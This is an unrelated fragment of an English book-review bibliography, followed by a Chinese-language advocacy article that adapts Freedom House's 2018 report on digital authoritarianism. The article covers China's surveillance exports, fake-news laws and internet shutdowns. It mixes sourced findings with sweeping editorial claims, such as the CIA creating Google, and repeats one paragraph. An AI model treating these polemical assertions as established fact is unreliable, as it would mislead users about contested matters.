[2]. Wayne Price, “An Anarchist View of State Formation—Review of Peter Gelderloos, *Worshipping Power: An Anarchist View of Early State Formation,*” Anarksimo, December 13, 2018, https://www.anarkismo.net/article/31226?search_text=Wayne+Price, and, “Post-Anarchism on the State—An Anarchist Critique,” Arnarkismo, September 9, 2018, https://www.anarkismo.net/article/31126.

[3]. Wayne Price, *The Abolition of the State; Anarchist and Marxist Perspectives* (Bloomington, IN: AuthorHouse, 2007).

[4]. Wayne Price, “An Anarchist View of the Class Theory of the State,” Anarkismo, July 27, 2018, ps:*www.anarkismo.net/article/31082?search_text=Wayne+Price. [5]. Karl Marx,* Capital: Volume 1 *(New York: Modern Library, 1906), 823–24. [6]. Saul Newman, “Anarchism, Marxism, and the Bonapartist State,”* Anarchist Studies *12, no. 1 (2004): 38–39, https://theanarchistlibrary.org/library/saul-newman-ana…4.pdf. [7]. Frederick Engels,* Anti-Dühring *(Moscow: Foreign Languages, 1954), 384–86. Citation: Wayne Price. Review of Laursen, Eric, The Operating System: An Anarchist Theory of the Modern State. H-Socialisms, H-Net Reviews. July, 2021.* 原文

数字威权主义的兴起: 灾年之畔 - iYouPort

你我的灾难现实长读

本报告有大约一半来自 Freedom House，IYP 对其做出了更多的补充，并纠正了某些细节上的论述错误。如果拒绝承认集中化 Web 是最根本性癌瘤，一切看似伟大的解决方案都是空谈。也通过本报告，对 IYP 一直以来的报道和论述做了一个详细的梳理，我们的视野是整个互联网，我们的立场是拒绝一切审查和监视，是一切，不论它以什么借口出现

互联网在世界范围内的自由度越来越低，民主本身正在加速被崛起的数字威权主义所摧毁。

互联网上的宣传性信息毒害了公共领域；肆无忌惮的个人数据收集打破了隐私作为基本人权的概念；一群国家正在通过广泛的政治审查和大规模监控系统走向数字威权主义 …… 正由于这些趋势，全球互联网自由度在 2018 年连续第八年下降。

- 延伸阅读：《"巨魔崛起：政府资助的网络水军正遍布全球"》
- 《"信息战：揭露政府的宣传机器如何伪装成“独立媒体”和 NGO 以混淆视听"》

早已有充分的事实可证，这种集中化的 Web 完全可以被用来击碎民主。2018 年4月，Facebook 创始人兼首席执行官马克扎克伯格在两次国会听证会上就其公司在剑桥分析公司丑闻中的角色作证，其中披露 Facebook 已将多达 8700 万用户的隐私数据暴露被用于政治操纵。如果棱镜文件还没能把人们砸醒，此案应该可以再次提醒，个人信息已经被越来越多地用于影响选举结果。从 2016 年美国大选的闹剧后安全研究人员又发现了进一步的数据泄露事件，影响 1.98 亿美国人，9300 万墨西哥人，5500 万菲律宾人，和 5000 万土耳其选民。

- 延伸阅读：《"监视资本主义巨头们如何杀死了民主"》

- 《"如何才能挑战 Facebook 并取得胜利？—— Distributed Social Network"》

集中化的互联网和社交媒体尤其可以轻松将公民推向极化的回声室，加剧不同社区之间的敌意。在过去的12个月里，在孟加拉国，印度，斯里兰卡和缅甸，网上传播的虚假消息和仇恨宣传引发了对种族和宗教少数群体的暴力行为的爆发。这种分歧往往符合社会、政府或反民主势力的利益，通过积极的内容操纵以获得推动。

- 延伸阅读：《"政治的两极分化如何在社交网络上体现？为什么这样的生态很容易被操纵？—— 围观 Twitter 活动地图"》
- 《"真假消息鉴别案例演示：是否为真应该与你我的个人立场毫无关系"》

北京的政治领导人已经在加紧利用数字媒体增强自己在国内外的实力。中国再次成为 2018 年互联网自由最严重的滥用者，在过去一年中，中国政府接待了来自数十个国家的媒体官员，就其庞大的审查和监视体系举办了研讨会。

此外，和以以色列为“首”的很多国家一样，中国公司还向各种人权记录恶劣的政府提供电信硬件、先进的面部识别技术和数据分析工具，这些技术完全有利于情报部门和地方当局的镇压。数字威权主义正在被推广，作为政府通过技术控制其公民的一种高效方式，

- 延伸阅读：《"🔭 中国版老大哥的世界之旅"》
- 中国当局如何钟情于本土老大哥《"是谁在为中国政府的监视社会系统提供技术支持？"》
- 全球监视技术市场分布图《"是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？"》
- 至少在 **1984** 的世界里，切勿小看了中国《"浮空器、生物识别、射频、无人机 ……唐宁街聚集大规模监视行业，其关键技术中国几乎全有"》
- 看看谁在作恶《"国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？"》
- 《"美国技术公司如何帮助埃尔多安的暴政对土耳其公民实施间谍行为"》

全球威权主义者一直在利用“假新闻”和数据丑闻的论调作为向中国模式靠拢的借口。埃及和伊朗等国家的政府重新制定了媒体审查法案，适用于社交媒体用户，根据旨在遏制所谓虚假新闻的措施判处政策批评者，并阻止外国社交媒体和通信服务。中国、俄罗斯和其他国家也

要求公司将其公民的数据存储在其境内，安全机构可以轻松访问这些数据。

- 延伸阅读：《新报告：为什么虚假总是能‘击败’真相？机器人水军并不是主要原因》（下周）

「图」

「图」

仅举一种例子。2018 年，墨西哥、委内瑞拉、巴西、哥伦比亚和哥斯达黎加等国都将推进选举进程，而这些政府正在利用“对假新闻的担忧”试图加强对在线内容的审查。这些掩饰性言辞揭示了这样一个事实：来自传统拉美媒体垄断的宣传一直是常态，而互联网公司在平衡这种权力动态方面发挥了关键作用。

前联合国自由表达特别报告员 Frank La Rue 在 2017 年互联网治理论坛上谈到了“假新闻”一词的固有风险：当由权威来区分假新闻和真实新闻时，最终会阻止公众的阅读和独立思考。“假新闻”已经成为压制异议声音的常用借口。巴西成立理事会来对付“假新闻”时，拥有压制反对声音悠久历史的实体—— 陆军和巴西情报机构，被邀请加入。“假新闻”的幽灵也成为了巴西议会施行恶法的借口。

确保互联网自由免受数字威权主义的崛起，对于保护整个民主制度至关重要。技术应该使公民能够在没有强制或隐藏操纵的情况下做出满足自身利益的社会、经济和政治选择。

互联网已经完全成为了现代公共领域，社交媒体和搜索引擎既有巨大的力量，又有重要的责任来确保他们的平台服务于公共利益。民主还需要一个受保护的私人领域，肆无忌惮大量收集隐私数据的监视资本主义 FATBAG（Facebook Amazon Tencent Baidu Alibaba Google）必定会亵渎人权、扼杀民主。

- 延伸阅读：《非"洲人的脸被用来训练中国老大哥：北京正在努力将其监视技术输出到发展中国家"》
- 《"中国正在使用区块链技术监视其公民"》
- 《"NSA 的阴云笼罩国际加密—— 网络安全标准化会议在中国举行令人五味杂陈"》
- 《"民主正在死线上挣扎吗？还可以怎么办？"》
- 如果想要一个真正的民主，那么首先就需要了解什么是“伪民主”，当权者如何玩弄法律以实现自己的野心《"⚠ 老大哥正越

来越多地外包给硅谷，以令当权者逃避问责"》
- 《"为什么必需拒绝大数据—— 监视之恶（二）公私监控伙伴关系"》
- 《""冰河"已在你心里，这就是他们的目的—— 监视之恶（三）历史和现实，拆穿谎言"》
- 《"可怕的"连点成线" 和互联网审查—— 监视之恶（四）"反恐"歧途"》

「图」

「图」

跟踪全球性衰退

在被评估的 65 个国家中，有 26 个国家自 2017 年6月以来呈现总体的下降。最大幅度的下降发生在埃及和斯里兰卡，其次是柬埔寨、肯尼亚、尼日利亚、菲律宾和委内瑞拉。

尽管 #MeToo 运动在世界某些地区成功暴露了性侵犯和骚扰，但是，埃及的两名妇女因在 Facebook 上评论 metoo 运动而分别被逮捕。两人均被指控"传播虚假信息、损害公共安全"; 一名来访的黎巴嫩游客也因此被判处 8 年徒刑。埃及当局通过封锁约 500 个网站，包括著名人权组织和独立媒体网站，对不同意见进行了更广泛的打击。在斯里兰卡，当局在3月爆发的社区骚乱中关闭社交媒体平台长达两天，骚乱事件导致至少两人死亡。

在互联网自由度下降的近一半国家中，都与选举有着密切的关系。在选举之前，有 **12** 个国家的公民都遭受了虚假信息、审查、数字技术攻击和/或逮捕政府批评者的影响。由于委内瑞拉于5月举行总统选举以巩固尼古拉斯·马杜罗的专制统治，政府通过了一项含糊不清的法律，宣称对在网上煽动"仇恨"者判处严厉的刑期；实施"祖国卡"政策—一种电子识别系统—激起了对通过该装置收集的数据可被用于大规模监视和压迫选民的严重怀疑；在 2018 年7月举行的大选之前，柬埔寨基于网上言论实施的逮捕和监禁的数量激增，政府正在试图扩大用于压制异议的罪行，包括一项禁止侮辱君主制的新法律。

- 延伸阅读：流亡是无法逃避政治追捕和迫害的《"以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群"》
- 社交工程学如何被用于针对异议人士发起攻击《"大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险"》

- 技术政策的小把戏《"中国的漏洞利用：为什么政策忽然变化？"》
- 民主最大的困境《"真相衰变：当民主病危、变革遥遥无期时，我们应该思考什么？"》

菲律宾和肯尼亚的分数严重下降。由于内容操纵和网络攻击正在扭曲在线信息，菲律宾从 Free 变为了 Partly Free。骚扰不同意见的声音仍在升级，当局试图关闭当地一家新闻网站，该网站以其对罗德里戈·杜特尔特总统残酷的毒品战争的重要揭露性报道而闻名。媒体组织 Vera Files 也是遭受严重网络攻击的几个网点之一，就在他们发布关于杜特尔特及其女儿资产申报的敏感报道之后不久，遭到了分布式拒绝服务（DDoS）攻击。

在 2017 年8月选举期间，肯尼亚也开始利用在线操纵和虚假信息针对选民，2018年5月通过的“网络犯罪法”规定，如果发布的信息导致“恐慌”或“可能损害一个人的声誉”，就会将信息发布者判处 10 年监禁的最高刑罚，尽管事实上，在 2017 年，刑事诽谤已经被裁定为违宪。博客协会对法律条款提出了上诉，该条款目前暂停。

- 延伸阅读：硅谷从来都是当权者的工具《"How The CIA Made Google"》
- 大型科技公司如何一直在帮助间谍活动《"Spies for Hire"》
- “大多数情报工作不是由政府机构执行的，而是私人情报公司，而且大部分工作涉及情报工作的另一个共同方面：欺骗”……《"The Real War on Reality" 》

美国的互联网自由度同样在下降。联邦通信委员会废除了保证网络中立性的规则，此举引发了民间社会团体和州级当局在当地恢复保护网络中立的努力；在对民权和隐私权倡导者的打击中，国会重新授权 **FISA** 修正法案，包括有争议的第 **702** 条，从而扼杀了改革监督权的机会，允许政府进行广泛的扫荡，以搜索非美国目标，并定期收集美国人在这个过程中的个人交流。

- 延伸阅读：《"社交媒体审查在美国才刚引起震惊，这不科学"》
- 《在社交媒体上，权利剥夺者如何伪装正义压制异议？》
- 《"我们不能被互联网摧毁”—— 新的全球性革命正在拉开序幕"》
- 《"互联网究竟是什么？—— 来自“监视谷”惊人的启示"》
- 《"互联网失败了我们还能找回最初的公平和自由吗？"》

在整体得分获得改善的 19 个国家中，亚美尼亚和冈比亚获得了互联网自由地位的升级。在公民成功使用社交媒体平台、通信应用程序和直播服务后，亚美尼亚从部分自由升级到自由；由于长期独裁者 Yahya Jammeh 于 2017 年初被迫下台，因此限制有所缓解，用户目前可以相对自由地发布内容，冈比亚从非自由跳跃到部分自由。

然而，在前政权治下制定的许多严厉的法律仍然存在。虽然埃塞俄比亚仍然高度压制，但 2018 年4月任命的新总理已经采取了行动，减少了严格的互联网限制，并承诺进行更广泛的改革。激进的博主被释放出狱，公民至少已经可以在社交媒体上大声疾呼。

「图」

「图」

Activists in Berlin demonstrate wearing computer monitors with a portrait of Chinese President Xi Jinping.

中国以技术反乌托邦形象重塑世界

随着全面的网络安全法的实施和监控技术的升级，中国的互联网控制在 2018 年达到了新的极端。该法律集中了中国网络空间管理局（CAC）的所有互联网政策，加强了网络运营商和社交媒体公司全面实名制的义务，要求本地和外国公司“立即停止传输”被禁内容，并强迫他们确保所有关于中国用户的数据都在国内托管。

“网络安全法”之后当局又发布了数百项新指令—几乎平均每两天一次—用于微调网民在网上可以做什么和不能做什么的红线。对 VPN 的打击也是众所周知的。

- 延伸阅读：《"有多少国家禁止或限制使用 VPN？—— 全球互联网审查分布图：VPN 在你的国家合法吗？"》

今年最惊人的发展之一就是大规模监视的上升。在新疆西部地区，面部识别技术和其他先进工具正在被用来监视当地人口，并阻止任何被视为损害公共秩序”或所谓“国家安全”的行为。泄露的文件和8月份发现的其他证据表明，新疆的拘禁营中可能有多达 100 万穆斯林，他们在那里忍受“再教育”过程。自由之家说许多人是因非暴力的在线活动而被拘留的。

- 延伸阅读：「"是谁在为中国政府的监视社会系统提供技术支

持？"」“在一党专制的国家里，几乎没有机会对面部识别系统作出有效的限制”
- 《"国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？"》“其中包括，中国政府的监视技术能力在所谓一带一路倡议和其他扩展国际市场的努力中得到了什么样的支持”
- 推荐过的两本书，很有启发《""“只有两个国家足以压制反叛”：AI, 大数据和反叛的未来"》
- 自我保护《"如果警察在你的手机上强制安装监视应用程序，如何才能将危险最小化？"》
- 日前传出消息称北京出现警方在街头随机扫描路人手机的审查监视行为。拦路扫描是相比下很笨拙的监视手段。明明有很多可以让当权者轻松监视所有人的技术工具，他们为什么不用？但更有可能的是，他们一直都在使用，只是我们不知道《"⚠如何应付政府使用黄貂鱼的大规模间谍行为？"》

还有臭名昭著的社会信用体系，我们在三年前对此作出警告时并没能引起足够的重视。该体系通过结合线上和线下行为的数据来评定公民的“可信度”。当地活动家已经报告说，他们因批评政府政策而被列入黑名单后行动自由受到限制，而社会信用体系可能会引发更多的此类影响。政府网站甚至列出了“失信”个人的姓名和身份证号码，以及数百万被禁止乘坐航空和铁路旅行的公民的最新统计数据。

「图」

「图」

- 延伸阅读：《""深夜上网”都会降低你的“社会信用评分”？无人能摆脱这种强制性监视"》

数据显示，自 2016 年初以来几乎中国每个省份的警察局都试图购买智能手机数据提取技术，同时内部安全支出大幅增加，全力以赴为打击异议。这些文件提供了罕见的一瞥，当政府压制不同意见时，中国努力推动使用高科技监控工具武装其维稳部队。

"扫描仪是手持式或桌面式设备"，可以入侵智能手机，提取和分析联系人列表，照片，视频，社交媒体帖子和电子邮件等。手持设备还允许警察快速窃听街道上的电话内容。被揭露的数据包括来自 33 个省份，地区和直辖市中的32个、171 个警察局的监视请求，似乎只显示了总支出的一部分。

记录显示，自 2016 年初以来，这种监视设备的预算或支出超过 1.29

亿元（1900 万美元），数量在 2017 年和 2018 年再次加速。中国上海的监视技术预算约为 60 万元人民币，用于购买手机扫描仪和数据抓取工具。

据称全国各地的警察局都可以查询和提取电子设备扫描数据的集中存储库，“几乎每个派出所都有这种入侵设备……根据今年早些时候在北京举行的警察技术展览会上看到的价格，中国制造的设备成本仅为1万元人民币，而其他设备成本则高达数十万元人民币。

注意 ⚠采购文件显示，已经有一些警察局要求提供工具，可以从 **Twitter**，**Facebook** 及其 **WhatsApp** 聊天服务，**Alphabet Inc**（**GOOGL.O**）谷歌 **Chrome** 浏览器上的用户帐户中提取数据，还有日本的 **Line** 消息平台。

文件称，“基本数据收集功能”必须包括“手机密码，通讯录，通话记录，短信记录，彩信，图片，音频和视频数据，日历，备忘录和移动应用数据”。其他被列出的工具可能有助于知名智能手机品牌，如三星电子，黑莓，中国自己的小米和华为，以及对苹果 iPhone 的暴力破解。

2017 年，中国在国内监视方面的支出约为 1.24 万亿元，占政府总支出的 6.1%，超过军费支出。在北京新疆等地区，内部“安全”预算（其中监控技术的部分）已经翻了一番。在北京科技区的一个狭窄的培训中心里，工程师展示了一台这样的机器：灰色的鞋盒大小，可以从三星手机中提取数据。

该扫描仪由以色列公司 **Cellebrite** 制造，但中国厦门美亚柏科，海信科技和 **Pwnzen Infotech** 等公司也在中国广泛使用。这种技术有望破解大多数智能手机，包括 iPhone……报道说，中国大多数人都会遵守警方的要求解锁他们的设备，“在中国，拒绝是不明智的。”

- 延伸阅读：《"以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群"》
- 《"以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家—⚠ 亚洲有香港"》
- 《"国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？"》
- 《"网络战：❗社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？"》
- 《"可视化数据：全球监控行业—— 谁是大哥？谁在作恶？"》
- 《"危险：监控技术公司正在推动对零日漏洞的利用"》

- 《"最新报告：是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？"》

🔐 关于防御办法：

- 延伸阅读：《"你必须能熟练使用真正安全的工具"》
- 《"需要能了解最先进的技术是什么，以针对性防范"》
- 《"日常出门也要注意像敏感时段一样自我保护，这里是应该怎么做"》

中国老大哥涌向全球

中国一直在完善自己国家的监视社会工程；随着监视技术行业能力的精进，中国的公司正开始向海外出口监视技术；这部分是借助于“一带一路”，中国人工智能和监控公司正走向全球化；中国正在帮助建立一个全球性的监控产业园区 。

习近平在 2017 年的讲话中表示，中国“应该建立一个开放的合作平台，坚持和发展开放的世界经济”，参照他雄心勃勃的计划，重组许多亚非国家的经济基础设施。在一次单独的演讲中，他敦促中国安全部队在中国的新疆周围建立一座“钢铁长城”，中国大部分全球经济项目—即 BRI 里的“R”都将通过这里。

中国监控技术公司已经获得了大量合同，以帮助监视其人民，目前这些公司正在全球范围内扩大业务，覆盖支持“一带一路”倡议的其他国家。在津巴布韦、马来西亚、新加坡和蒙古等国，中国的科技公司正在与当地政府合作，以加强他们的老大哥能力。

沿着美国情报机构和硅谷结合的标准老大哥路线，如今世界正在开始看到中国主导的全球监视-工业综合体的出现。一些科技公司的首席执行官正在吹嘘这一计划。详见下文：

- 延伸阅读：《"🔭 中国版老大哥的世界之旅"》

中国对互联网自由的攻势

作为其多边努力的一部分，北京正在培训世界各地的媒体精英和政府部长，以建立一个遵循互联网政策主导的国家网络。中国官员与本次调查涵盖的 65 个国家中的 36 个国家的代表一起举办了有关“新媒体或信息管理”的培训和研讨会。

- 延伸阅读：《"在三岔口：中国、欧洲和美国提供着完全不同

的“互联网未来”"》
- 《"前 Google 工程师: “管理层不仅乐于协助中国的审查，并且对外撒谎”"》
- 《"哪些欧洲政治家已经陷入了北京的轨道？中国是如何在欧洲扩张的？"》
- 《"以“开会”为名实施侵入性监视，右转的东欧如何形同中国？"》

去年11月，中国举办了为期两周的“一带一路沿线国家官员网络空间管理研讨会”。各国的官员们参观了一家参与“大数据公众舆论管理系统”的公司总部，其中包括审查工具—— 对所谓的负面舆论的监控和“积极的正能量舆论导向系统”。

- 延伸阅读：《"“互联网＋”维稳：舆情监控公司去年收入大幅增长"》

培训通常侧重于特定国家。2018 年5月，菲律宾媒体官员和著名记者访问了中国两周，以了解“新媒体发展”和“中国特色社会主义”。中国新闻媒体和来自泰国的高级媒体工作人员进行了类似的会议。被称为让参观者了解“中国梦”和“新媒体在国内和国际事务中发挥重要作用”的机会，包括中国的发展模式。为期三周的“阿拉伯国家高级媒体工作人员研讨会”吸引了来自埃及、约旦、黎巴嫩、利比亚、摩洛哥、沙特阿拉伯和阿联酋的代表。

虽然并不总是清楚在此类研讨会期间发生的事，但是在 2017 年4月，通过引入一项与中国自己的法律密切相关的“网络安全法”，对越南官员进行了培训。在过去的一年中，在乌干达和坦桑尼亚通过限制性“网络犯罪和媒体法”之前，中国公司和非洲官员的互动也同样增加。

控制媒体就是控制真相，控制真相者就能成功摧毁民主。

一家中国国有企业正在内罗毕和肯尼亚蒙巴萨的主要港口之间建设一条铁路。然而 “它的每公里价格是国际基准的三倍，是原先估计的四倍 ……许多肯尼亚人怀疑腐败在增加其成本。但是，媒体不会报道这些东西。为什么？

中国对非洲媒体的影响正在以更微妙的方式发展。这些努力不是北京起草的总体规划的一部分。但综合起来，获得影响力的三种主要途径可能比老式宣传更加有效：

第一个是针对非洲记者的大规模培训计划。每年约有1,000 名记者或其他从事媒体工作的人在中国被上课；

第二个新生影响力来源是中国对私营公司的投资。例如2013年，国家支持的中国投资者（包括中央电视台的子公司）购买了南非公司 Independent Media 的 20% 股权；⚠“独立报”的专栏作家阿扎德·埃萨**8**月份写了关于中国虐待维吾尔族人的报道后直接被解雇了；

第三个也是最重要的发展是 StarTimes 的扩张，StarTimes 是一家与中国政府关系密切的私营付费电视公司。它越来越成为在非洲扩大中国软实力的主要手段。自 2008 年开始在卢旺达开展业务以来，⚠**StarTimes** 已扩展到整个非洲大陆的约 **30** 个国家；

「图」

「图」

中国技术公司已经开始举世瞩目

中国公司在该国推动电信市场占全球主导地位方面发挥了重要作用，在至少 **38** 个国家安装了互联网和移动网络设备。其中一些公司是私营企业，可能有自己的理由进行此类投资，但是，所有这些公司都对政府及其战略目标感兴趣。国有的中国电信、中国联通和中国移动正在铺设数字丝绸之路，光纤链接到缅甸、吉尔吉斯斯坦和尼泊尔等国家。一家名为 H3C 的公司已经赢得了为尼日利亚机场和巴基斯坦瓜达尔港建设电信网络的合同。华为正在墨西哥建设拉丁美洲最大的公共 Wi-Fi 网络，孟加拉国的 5G 移动网络和柬埔寨的 4.5G 服务，

- “Cypherpunks 的信念对致力于反权威运动的人们来说尤其重要。大众监控不仅是民主和治理的问题，甚至已经成为了地缘政治问题，强权利用技术欺凌弱者，大国利用技术威胁弱小国家的主权……美国不是唯一这么干的大国。乌干达等国家的互联网基础设施得到了中国直接投资的充实。大笔贷款是为了换取非洲给中国公司的合同，用于建设将学校、政府部门和社区连接到全球光纤系统的互联网骨干基础设施……非洲人上网了，但是硬件由“超级大国”提供的。非洲互联网将成为非洲继续被征服到**21**世纪的手段吗？非洲是否再次成为全球大国对抗的舞台？”详见 「"为自由而战 四"」

和很多其他国家的老大哥一样，中国企业还向明显缺乏基本人权保证的政府提供高科技监视工具。在自由之家评估的 65 个国家中，有18

个国家，正在被中国的 Yitu、海康威视和 CloudWalk 等企业提供结合了人工智能和面部识别技术的监视系统布设，创建能够识别“公共秩序”威胁的系统。

CloudWalk 与津巴布韦签署了协议建立国家级面部识别数据库和监视系统。公民在此次交易中没有任何发言权，根据该协议，津巴布韦将向中国发送数百万人的生物识别数据，以帮助培训 CloudWalk 的人工智能（AI）程序识别肤色较暗的人脸。

- 延伸阅读：上海虹桥商务区，Yitu 数码科技有限公司的相机记录每个进入建筑物的人，并跟踪他们。人工智能（#AI）算法可识别人脸并在每层楼的地图上绘制所有人的移动。其董事长表示“我们的机器能够在几秒钟内让至少20亿人认出你”……该平台还为全国 20 多个省级公安部门提供服务，是全国 150 多个市级公安系统的一部分

在美国的原有模式上，"高堡奇人"正在加深。随着越来越多的世界关键电信基础设施由中国建设，中国情报机构可通过法律和法外方法更容易获取全球数据。2018年1月，非洲联盟安保人员报告称，他们的计算机系统每天都会将机密数据发送回上海，已经为期五年。中国花了 2 亿美元建设非洲联盟在亚的斯亚贝巴的新总部，包括其计算机网络。

- 延伸阅读：《高堡奇人的最新过招：为什么谷歌的中国审查版搜索引擎不论如何都不会赔钱？》

「图」

「图」

政府如何引用假新闻概念遏制在线异议

与“恐怖主义”一样，“假新闻”一词被专制领导人选中，以证明对异议的镇压是“正当的”—— 即 IYP 一直强调的“六骑士”之一（在链接中看到部分内容）。故意伪造或传播误导性内容的确是一个真正的问题，但是，一些政府正在利用它作为巩固其对信息控制权的借口。在过去一年中，至少有 17 个国家批准或提出了以打击“假新闻”和在线操纵为名限制在线媒体的法律。

在线有效打击虚假信息和暴力极端主义需要智慧的解决方案，绝不是审查，从数字扫盲教育到民间社会与科技公司之间的合作关系、到去

中心化网络的迁移—— 尤其是 IYP 推动的 #OSINT 信息挖掘和验证技术。

然而，目前许多正在考虑新媒体法的国家更关心的是在网络领域主张自己的政治优势，而不是保护其人民免受虚假新闻的侵害。伊朗、俄罗斯、埃及、委内瑞拉、白俄罗斯、中国和柬埔寨等国的政府都在拼命采取措施压制民间独立声音，基本上认为只有政府才能决定什么是真什么是假。甚至民主国家也一样，政府对“假新闻”的热情正在推动对言论自由的过度限制、以及将关键审查决定外包给装备不良且往往严重不透明的科技公司。

- 延伸阅读：《"报告：老大哥正越来越多地外包给硅谷，以令当权者逃避问责"》
- "“战术正在发生转变，政府开始将监视工作外包给私人公司和个人。这种做法最大限度地减少了政府要承受的谴责，并且效率更高.....”"—— 这里是埃及，当局采取了中国式的雇佣审查策略—— ⚠ 埃及当局实施的不仅仅是在线审查，还有监视和网络攻击—— 攻击者使用虚假信息群发电子邮件给记者、活动家和民间社会团体，大规模钓鱼
- 关于外包监视，更多：硅谷从来都是当权者的工具《"How The CIA Made Google"》
- 大型科技公司如何一直在帮助间谍活动《"Spies for Hire"》
- “大多数情报工作不是由政府机构执行的，而是私人情报公司，而且大部分工作涉及情报工作的另一个共同方面：欺骗”..... 《"The Real War on Reality" 》

MAKING EVERYONE A JOURNALIST, IN COUNTRIES WHERE JOURNALISM IS A CRIME

在说出真相是犯罪的国家里，让每个人都成为记者！

许多政府正在压制社交媒体用户作为独立媒体渠道，以进一步打击在线言论合法化。

埃及的记者数量排名全球第三，该国今年夏天通过了新的立法，要求所有拥有 5000 名及以上粉丝量的社交媒体用户从国家高级媒体监管委员会获得许可。

该法律与其他国家早些时候通过的措施非常相似：比如柬埔寨，现在要求所有网站都在新闻部注册，作为7月通过的指令的一部分，该指令还规定了长达两年的监禁，以“控制网上传播假新闻”为借口。作为

对新闻媒体进行持续打击的一部分，该国仅存的一些独立新闻网站目前已被关闭或出售。

2017 年6月，中国开始实施禁止某些社交媒体账户未经许可发布新闻的法规；在 2017 年1月，有超过 5,000 名粉丝的 Telegram 团队的管理员被要求在伊朗当局注册；俄罗斯通过 2014 年的法律开创了这些管制策略，该法律要求每月有 3,000＋ 访客的博客一概在政府部门登记。俄罗斯法律还责令博客作者对其内容的“准确性”负责，在法律环境中，批评政府往往被视为虚假或极端主义。俄罗斯通过 2014 年的法律再次加强了这些策略，该法律要求每月有3,000名或以上访客的博客必须注册。俄罗斯法律还要求博客作者对其内容的“准确性”负责，在法律环境中，批评政府往往被视为虚假或极端主义。

- 延伸阅读：《⚠ Telegram 频道的创作者被控“侮辱先知” 很可能会被判处死刑》

以“虚假消息”为借口监禁异议—— 就是中国的“谣言”论

许多政府正在对他们认为是“假新闻”的出版实施刑事处罚。

2018 年，有 13 个国家因此起诉公民。卢旺达博客作者约瑟夫·恩库西于 2018 年3月因“煽动公民不服从和谣言传播”而被判 10 年徒刑！他只是质疑该国对 1994 年种族灭绝事件的叙述，并批评该国缺乏政治自由；孟加拉国警方在 Facebook 上播放了一段视频后几个小时内就逮捕了媒体活动家沙希杜尔·阿拉姆（Shahidul Alam），并在8月份对抗议者进行了严重的镇压。根据“信息通信技术法案”，阿拉姆因“传播假新闻“而被判处长达七年的徒刑，该法案在过去一年中一直被用来拘留数十名社交媒体用户。

在哈萨克斯坦，网上媒体 Ratel 和 Forbes.kz都面临传播虚假信息的刑事指控，此前商人和前高级政府官员 Zeinulla Kakimzhanov 对揭露他参与腐败的独立报道提起了诉讼；菲律宾的立法者提议将所谓的“恶意新闻”的传播定为犯罪行为。总统罗德里戈·杜特尔特（Rodrigo Duterte）攻击调查性媒体网站拉普勒（Rappler）是一个“假新闻媒体”，并试图在1月份称该媒体网站涉嫌违反“外国资金法案”而将其关闭。

关闭互联网接入

虽然更多的压制性政府倾向于使用所谓的假新闻和仇恨言论作为遏制异议或独立报道的借口，不过，社交媒体上的煽动性谎言在许多国家

仍然是一个紧迫的问题，它同样严重危害了民主，尤其是社交媒体巨头不透明的算法，操纵了公众的认知。但是，有些国家却通过完全切断互联网访问来做出回应。

- 延伸阅读：《"如何用指标预测互联网中断？一旦断网还可以怎么办？"》
- "看看这些人如何通过社交媒体杀死了民主"：以色列拥有一个在特拉维夫，塞浦路斯，伦敦，华盛顿和托尔托拉的公司办公室开展业务的 网络选举中间商。大多数这些公司都从以色列政府支持的商业发展风险投资基金获得了启动资金，其中一些基金与美国右翼金融家如罗伯特·默瑟，保罗·辛格，谢尔顿·阿德尔森以及特朗普的女婿贾里德库什纳有关。以色列“测试”其社交媒体操纵工具，2006年，它首次公布了“Give Israel Your United Support”（GIYUS）计划，及其相关的宣传性文章和评论监控工具。由于 2006 年对黎巴嫩的突然袭击，以色列想要影响其收到的任何坏消息。（详见上面链接）

印度和斯里兰卡当局在公民抗议期间关闭移动网络或封锁社交媒体应用程序，声称这些措施对于“制止虚假信息流动和煽动暴力”是必要的。3月，网上有传言称穆斯林试图对付斯里兰卡的僧伽罗人佛教徒，导致一群佛教徒殴打一名穆斯林男子并焚烧他的商店。在接下来的几周里，极端主义者利用 Facebook 呼吁追随者“强奸所有叛徒”和“杀死所有穆斯林，甚至包括婴儿。”当局却通过封锁四个社交媒体平台做出反应，他们说这些平台正在放大仇恨言论。

印度在互联网关闭数量方面领先于世界，仅在 2018 年目前为止就有超过 100 起断网报告事件，”尤其是在大规模抗议活动期间，移动互联网和社交媒体渠道被暂时关闭。据报道由于虚假信息，印度有超过 29 人在 2018 年丧生。

印度政府表示，⚠它希望 Facebook 旗下的 WhatsApp 向政府提供发送导致现实世界暴力的信息的人的位置和身份。根据 WhatsApp 服务条款，该公司确实收集用户的 IP 地址，可用于跟踪用户的位置和电话号码。而且这不是加密的信息。

把审查监视外包给社交媒体公司

中国的社交媒体公司担心被网信办追责而影响收入，已经采取了比网信办更网信办的审查和监视方案。

同时，即使在民主国家中，通常也很难区分究竟是自己社区的可靠来

源还是假新闻工厂，但是，“假新闻”的概念明显已经被用于地缘政治意识形态，甚至权力斗争。

- 延伸阅读：关于党派的权力斗争如何以公民权利为代价《权利剥夺者如何伪装正义压制异议？》（下周）

美国总统唐纳德·特朗普（Donald Trump）将“假新闻”这一术语推广为对其政策进行批判性报道的媒体宣传，引发严重争议。这些争议表明了技术公司所面临的挑战，这些公司被迫对“什么构成适当的言论”做出艰难的决定。特别令人担忧的是，他们严重缺乏与民主政府或司法决策相关的透明度、问责制和公众意见。它们正是数字极权主义者。

更糟糕的是，一些民主国家尤其偏爱审查的解决方案，完全无视大众的言论自由权益。

欧盟目前正在考虑要求社交媒体公司删除违反其28个成员国法律的内容的规则。随着德国社交媒体执行法（NetzDG）于去年10月生效，该计划得以实施，当时有超过200万本地用户的社交媒体平台被要求监视和删除“明显非法的内容”，否则将面临高达 5000 万欧元的罚款；许多不同的德国法律都包含限制某些表达形式的规定。

由公司解释这些法规并采取行动，在没有任何正当程序或法院事先批准的情况下影响用户。对整个欧洲的科技公司施加类似的要求可能会导致更大的混乱和失误，从而过度损害言论自由。

